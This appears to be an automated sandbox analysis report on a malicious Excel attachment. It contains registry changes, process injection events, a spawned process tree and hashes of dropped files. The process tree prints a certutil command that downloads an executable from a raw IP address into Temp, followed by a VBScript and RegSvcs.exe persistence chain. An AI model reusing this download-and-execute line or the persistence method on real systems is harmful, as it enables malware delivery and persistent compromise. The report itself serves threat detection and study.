EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit" EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 860 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
xckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifpid process 1932 xckjkc.pif 1932 xckjkc.pif 1932 xckjkc.pif 1932 xckjkc.pif 1932 xckjkc.pif 1932 xckjkc.pif 1932 xckjkc.pif 1932 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 1840 xckjkc.pif 1840 xckjkc.pif 1840 xckjkc.pif 1840 xckjkc.pif 1840 xckjkc.pif 1840 xckjkc.pif 1840 xckjkc.pif 1840 xckjkc.pif 460 xckjkc.pif 460 xckjkc.pif 460 xckjkc.pif 460 xckjkc.pif 460 xckjkc.pif 460 xckjkc.pif 460 xckjkc.pif 460 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 2020 xckjkc.pif 1724 xckjkc.pif 1724 xckjkc.pif 1724 xckjkc.pif 1724 xckjkc.pif 1724 xckjkc.pif 1724 xckjkc.pif 1724 xckjkc.pif 1132 xckjkc.pif 1132 xckjkc.pif 1132 xckjkc.pif 1132 xckjkc.pif 1132 xckjkc.pif 1132 xckjkc.pif 1728 xckjkc.pif 1728 xckjkc.pif 1728 xckjkc.pif 1728 xckjkc.pif 1728 xckjkc.pif 1728 xckjkc.pif 1728 xckjkc.pif 1428 xckjkc.pif 1428 xckjkc.pif 1428 xckjkc.pif 1428 xckjkc.pif 1428 xckjkc.pif -
Suspicious use of SetWindowsHookEx 19 IoCs
Processes:
EXCEL.EXEpid process 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE 860 EXCEL.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
EXCEL.EXEWinUpdate.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exedescription pid process target process PID 860 wrote to memory of 532 860 EXCEL.EXE certutil.exe PID 860 wrote to memory of 532 860 EXCEL.EXE certutil.exe PID 860 wrote to memory of 532 860 EXCEL.EXE certutil.exe PID 860 wrote to memory of 532 860 EXCEL.EXE certutil.exe PID 860 wrote to memory of 1972 860 EXCEL.EXE WinUpdate.exe PID 860 wrote to memory of 1972 860 EXCEL.EXE WinUpdate.exe PID 860 wrote to memory of 1972 860 EXCEL.EXE WinUpdate.exe PID 860 wrote to memory of 1972 860 EXCEL.EXE WinUpdate.exe PID 860 wrote to memory of 1972 860 EXCEL.EXE WinUpdate.exe PID 860 wrote to memory of 1972 860 EXCEL.EXE WinUpdate.exe PID 860 wrote to memory of 1972 860 EXCEL.EXE WinUpdate.exe PID 1972 wrote to memory of 1932 1972 WinUpdate.exe xckjkc.pif PID 1972 wrote to memory of 1932 1972 WinUpdate.exe xckjkc.pif PID 1972 wrote to memory of 1932 1972 WinUpdate.exe xckjkc.pif PID 1972 wrote to memory of 1932 1972 WinUpdate.exe xckjkc.pif PID 1972 wrote to memory of 1932 1972 WinUpdate.exe xckjkc.pif PID 1972 wrote to memory of 1932 1972 WinUpdate.exe xckjkc.pif PID 1972 wrote to memory of 1932 1972 WinUpdate.exe xckjkc.pif PID 1932 wrote to memory of 1772 1932 xckjkc.pif RegSvcs.exe PID 1932 wrote to memory of 1772 1932 xckjkc.pif RegSvcs.exe PID 1932 wrote to memory of 1772 1932 xckjkc.pif RegSvcs.exe PID 1932 wrote to memory of 1772 1932 xckjkc.pif RegSvcs.exe PID 1932 wrote to memory of 1772 1932 xckjkc.pif RegSvcs.exe PID 1932 wrote to memory of 1772 1932 xckjkc.pif RegSvcs.exe PID 1932 wrote to memory of 1772 1932 xckjkc.pif RegSvcs.exe PID 1932 wrote to memory of 1772 1932 xckjkc.pif RegSvcs.exe PID 1932 wrote to memory of 1772 1932 xckjkc.pif RegSvcs.exe PID 1772 wrote to memory of 844 1772 RegSvcs.exe Host.exe PID 1772 wrote to memory of 844 1772 RegSvcs.exe Host.exe PID 1772 wrote to memory of 844 1772 RegSvcs.exe Host.exe PID 1772 wrote to memory of 844 1772 RegSvcs.exe Host.exe PID 1772 wrote to memory of 844 1772 RegSvcs.exe Host.exe PID 1772 wrote to memory of 844 1772 RegSvcs.exe Host.exe PID 1772 wrote to memory of 844 1772 RegSvcs.exe Host.exe PID 1932 wrote to memory of 1536 1932 xckjkc.pif WScript.exe PID 1932 wrote to memory of 1536 1932 xckjkc.pif WScript.exe PID 1932 wrote to memory of 1536 1932 xckjkc.pif WScript.exe PID 1932 wrote to memory of 1536 1932 xckjkc.pif WScript.exe PID 1536 wrote to memory of 2020 1536 WScript.exe xckjkc.pif PID 1536 wrote to memory of 2020 1536 WScript.exe xckjkc.pif PID 1536 wrote to memory of 2020 1536 WScript.exe xckjkc.pif PID 1536 wrote to memory of 2020 1536 WScript.exe xckjkc.pif PID 1536 wrote to memory of 2020 1536 WScript.exe xckjkc.pif PID 1536 wrote to memory of 2020 1536 WScript.exe xckjkc.pif PID 1536 wrote to memory of 2020 1536 WScript.exe xckjkc.pif PID 2020 wrote to memory of 1224 2020 xckjkc.pif RegSvcs.exe PID 2020 wrote to memory of 1224 2020 xckjkc.pif RegSvcs.exe PID 2020 wrote to memory of 1224 2020 xckjkc.pif RegSvcs.exe PID 2020 wrote to memory of 1224 2020 xckjkc.pif RegSvcs.exe PID 2020 wrote to memory of 1224 2020 xckjkc.pif RegSvcs.exe PID 2020 wrote to memory of 1224 2020 xckjkc.pif RegSvcs.exe PID 2020 wrote to memory of 1224 2020 xckjkc.pif RegSvcs.exe PID 2020 wrote to memory of 1224 2020 xckjkc.pif RegSvcs.exe PID 2020 wrote to memory of 1224 2020 xckjkc.pif RegSvcs.exe PID 1224 wrote to memory of 1100 1224 RegSvcs.exe Host.exe PID 1224 wrote to memory of 1100 1224 RegSvcs.exe Host.exe PID 1224 wrote to memory of 1100 1224 RegSvcs.exe Host.exe PID 1224 wrote to memory of 1100 1224 RegSvcs.exe Host.exe PID 1224 wrote to memory of 1100 1224 RegSvcs.exe Host.exe PID 1224 wrote to memory of 1100 1224 RegSvcs.exe Host.exe PID 1224 wrote to memory of 1100 1224 RegSvcs.exe Host.exe PID 2020 wrote to memory of 1432 2020 xckjkc.pif WScript.exe PID 2020 wrote to memory of 1432 2020 xckjkc.pif WScript.exe PID 2020 wrote to memory of 1432 2020 xckjkc.pif WScript.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\PO 0767532.xls"1⤵
- Loads dropped DLL
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\certutil.exe"C:\Windows\System32\certutil.exe" -urlcache -split -f http://192.3.194.246/P_O999.exe C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe2⤵
- Process spawned unexpected child process
-
C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe"C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" murcqfuubq.swk3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"6⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK7⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"8⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK9⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"10⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"11⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"10⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK11⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"13⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"12⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK13⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"14⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"15⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"14⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK15⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"16⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"17⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"16⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK17⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"18⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"19⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"18⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK19⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"20⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"21⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"20⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK21⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"22⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"23⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"22⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK23⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"24⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"25⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"24⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK25⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"26⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"27⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"26⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK27⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"28⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"29⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2_92\run.vbs"28⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif"C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pif" MURCQF~1.SWK29⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"30⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Install\Host.exe"C:\Users\Admin\AppData\Roaming\Install\Host.exe"31⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\2_92\murcqfuubq.swkFilesize
159.5MB
MD522d7f4d3b1978cb2578357748b304b1f
SHA1ff421d4585f434ac10d8f580b30af4e3c24a5a47
SHA256638acd438935e740a086738ea8758be983c2bd4cfeaedf761e39aec7ceabdfe1
SHA512fab8b70160b06f2e6c102564b1a22801aa9053cdb8a4188e74b64104319e79d0bc735d0417b6c07c75e276d831fec1ceeffc7edddf005d0762eed5e525768215
-
C:\Users\Admin\AppData\Local\Temp\2_92\mwghanevcv.cplFilesize
55KB
MD5b7e12759d7875eb5a0b4f8098084e180
SHA1057eb45ee662fcfa885538ea98f179516e2992b5
SHA256942a4068b017964d5c48244ba37f2580e231c31f68cf0809ae8d36987f4a5592
SHA51274fae86f94f7b74b2451e78e44154844b0362e7fe5e55827004adc22dc7d4e8e90b7e410fdafc3c179cf202c23c6ce6cc8b1e6bd719b2c913a02cb7e726551fa
-
C:\Users\Admin\AppData\Local\Temp\2_92\run.vbsFilesize
130B
MD5b97491a92619d2e72e66db172d996434
SHA15764121230da2bf1677564a3018ae0f112aa4adb
SHA256335bdbb5c818c1d88ef152daa73a9fc8480cacafe5b41e23c1c4fa2038bf121f
SHA512b28b13cf67d17b66b53250e86eec57f13bcd7eceddc702f4d402a35f735a2d9427db054667be39da8549e187c4bece62a2aceb23fe80007ba35b34394f9dbefb
-
C:\Users\Admin\AppData\Local\Temp\2_92\vaphlv.fwoFilesize
321KB
MD5e3e028ff79d82e2d2e178a19bc0321d3
SHA1a32c1c22a60a04b170f296de36dd4207367a705d
SHA2564ebe8964c0606c2e56df8706682558665bd45ee63b004299e880433c266c27b8
SHA51288617fb7d1244896fde88b49bb8bc07be65dfc02fc696a30457c771338471e2539a4b99bc557a0c72f9dde1fcc7d2013f1116edd8e98a14dc2e50126d065c217
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pifFilesize
801KB
MD5dae073ff3ec1441bd6dd60a1c84bca94
SHA1ffe7f1c111bd4e52877b6fa7cf078b3c7487b95a
SHA2563dc837914c42318fc2133b9d8455e14a86981b67898080791d1dcdc7b31b28d5
SHA512104fd5255b5716887eb510469626c9b1613e8a66f24b32c22ff26c190243658bf1ac6699ac04b9a903f2cd192719eb84c0c34b2143ba4206bf1f0874dfd33466
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pifFilesize
801KB
MD5dae073ff3ec1441bd6dd60a1c84bca94
SHA1ffe7f1c111bd4e52877b6fa7cf078b3c7487b95a
SHA2563dc837914c42318fc2133b9d8455e14a86981b67898080791d1dcdc7b31b28d5
SHA512104fd5255b5716887eb510469626c9b1613e8a66f24b32c22ff26c190243658bf1ac6699ac04b9a903f2cd192719eb84c0c34b2143ba4206bf1f0874dfd33466
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pifFilesize
801KB
MD5dae073ff3ec1441bd6dd60a1c84bca94
SHA1ffe7f1c111bd4e52877b6fa7cf078b3c7487b95a
SHA2563dc837914c42318fc2133b9d8455e14a86981b67898080791d1dcdc7b31b28d5
SHA512104fd5255b5716887eb510469626c9b1613e8a66f24b32c22ff26c190243658bf1ac6699ac04b9a903f2cd192719eb84c0c34b2143ba4206bf1f0874dfd33466
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pifFilesize
801KB
MD5dae073ff3ec1441bd6dd60a1c84bca94
SHA1ffe7f1c111bd4e52877b6fa7cf078b3c7487b95a
SHA2563dc837914c42318fc2133b9d8455e14a86981b67898080791d1dcdc7b31b28d5
SHA512104fd5255b5716887eb510469626c9b1613e8a66f24b32c22ff26c190243658bf1ac6699ac04b9a903f2cd192719eb84c0c34b2143ba4206bf1f0874dfd33466
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pifFilesize
801KB
MD5dae073ff3ec1441bd6dd60a1c84bca94
SHA1ffe7f1c111bd4e52877b6fa7cf078b3c7487b95a
SHA2563dc837914c42318fc2133b9d8455e14a86981b67898080791d1dcdc7b31b28d5
SHA512104fd5255b5716887eb510469626c9b1613e8a66f24b32c22ff26c190243658bf1ac6699ac04b9a903f2cd192719eb84c0c34b2143ba4206bf1f0874dfd33466
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pifFilesize
801KB
MD5dae073ff3ec1441bd6dd60a1c84bca94
SHA1ffe7f1c111bd4e52877b6fa7cf078b3c7487b95a
SHA2563dc837914c42318fc2133b9d8455e14a86981b67898080791d1dcdc7b31b28d5
SHA512104fd5255b5716887eb510469626c9b1613e8a66f24b32c22ff26c190243658bf1ac6699ac04b9a903f2cd192719eb84c0c34b2143ba4206bf1f0874dfd33466
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pifFilesize
801KB
MD5dae073ff3ec1441bd6dd60a1c84bca94
SHA1ffe7f1c111bd4e52877b6fa7cf078b3c7487b95a
SHA2563dc837914c42318fc2133b9d8455e14a86981b67898080791d1dcdc7b31b28d5
SHA512104fd5255b5716887eb510469626c9b1613e8a66f24b32c22ff26c190243658bf1ac6699ac04b9a903f2cd192719eb84c0c34b2143ba4206bf1f0874dfd33466
-
C:\Users\Admin\AppData\Local\Temp\2_92\xckjkc.pifFilesize
801KB
MD5dae073ff3ec1441bd6dd60a1c84bca94
SHA1ffe7f1c111bd4e52877b6fa7cf078b3c7487b95a
SHA2563dc837914c42318fc2133b9d8455e14a86981b67898080791d1dcdc7b31b28d5
SHA512104fd5255b5716887eb510469626c9b1613e8a66f24b32c22ff26c190243658bf1ac6699ac04b9a903f2cd192719eb84c0c34b2143ba4206bf1f0874dfd33466
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exeFilesize
44KB
MD50e06054beb13192588e745ee63a84173
SHA130b7d4d1277bafd04a83779fd566a1f834a8d113
SHA256c5d6d56ded55fbd6c150ee3a0eb2e5671cae83106be2be4d70ce50aa50bab768
SHA512251a112f3f037e62ff67a467389e47a56afb344bc942b17efa9bd2970494718b26bbee9adc3ac35f93ee4d2114aa426b6d0ea4bafad294b6c118a15f1977c215
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exeFilesize
44KB
MD50e06054beb13192588e745ee63a84173
SHA130b7d4d1277bafd04a83779fd566a1f834a8d113
SHA256c5d6d56ded55fbd6c150ee3a0eb2e5671cae83106be2be4d70ce50aa50bab768
SHA512251a112f3f037e62ff67a467389e47a56afb344bc942b17efa9bd2970494718b26bbee9adc3ac35f93ee4d2114aa426b6d0ea4bafad294b6c118a15f1977c215
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exeFilesize
44KB
MD50e06054beb13192588e745ee63a84173
SHA130b7d4d1277bafd04a83779fd566a1f834a8d113
SHA256c5d6d56ded55fbd6c150ee3a0eb2e5671cae83106be2be4d70ce50aa50bab768
SHA512251a112f3f037e62ff67a467389e47a56afb344bc942b17efa9bd2970494718b26bbee9adc3ac35f93ee4d2114aa426b6d0ea4bafad294b6c118a15f1977c215
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exeFilesize
44KB
MD50e06054beb13192588e745ee63a84173
SHA130b7d4d1277bafd04a83779fd566a1f834a8d113
SHA256c5d6d56ded55fbd6c150ee3a0eb2e5671cae83106be2be4d70ce50aa50bab768
SHA512251a112f3f037e62ff67a467389e47a56afb344bc942b17efa9bd2970494718b26bbee9adc3ac35f93ee4d2114aa426b6d0ea4bafad294b6c118a15f1977c215
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exeFilesize
44KB
MD50e06054beb13192588e745ee63a84173
SHA130b7d4d1277bafd04a83779fd566a1f834a8d113
SHA256c5d6d56ded55fbd6c150ee3a0eb2e5671cae83106be2be4d70ce50aa50bab768
SHA512251a112f3f037e62ff67a467389e47a56afb344bc942b17efa9bd2970494718b26bbee9adc3ac35f93ee4d2114aa426b6d0ea4bafad294b6c118a15f1977c215
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exeFilesize
44KB
MD50e06054beb13192588e745ee63a84173
SHA130b7d4d1277bafd04a83779fd566a1f834a8d113
SHA256c5d6d56ded55fbd6c150ee3a0eb2e5671cae83106be2be4d70ce50aa50bab768
SHA512251a112f3f037e62ff67a467389e47a56afb344bc942b17efa9bd2970494718b26bbee9adc3ac35f93ee4d2114aa426b6d0ea4bafad294b6c118a15f1977c215
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exeFilesize
44KB
MD50e06054beb13192588e745ee63a84173
SHA130b7d4d1277bafd04a83779fd566a1f834a8d113
SHA256c5d6d56ded55fbd6c150ee3a0eb2e5671cae83106be2be4d70ce50aa50bab768
SHA512251a112f3f037e62ff67a467389e47a56afb344bc942b17efa9bd2970494718b26bbee9adc3ac35f93ee4d2114aa426b6d0ea4bafad294b6c118a15f1977c215
-
C:\Users\Admin\AppData\Local\Temp\RegSvcs.exeFilesize
44KB
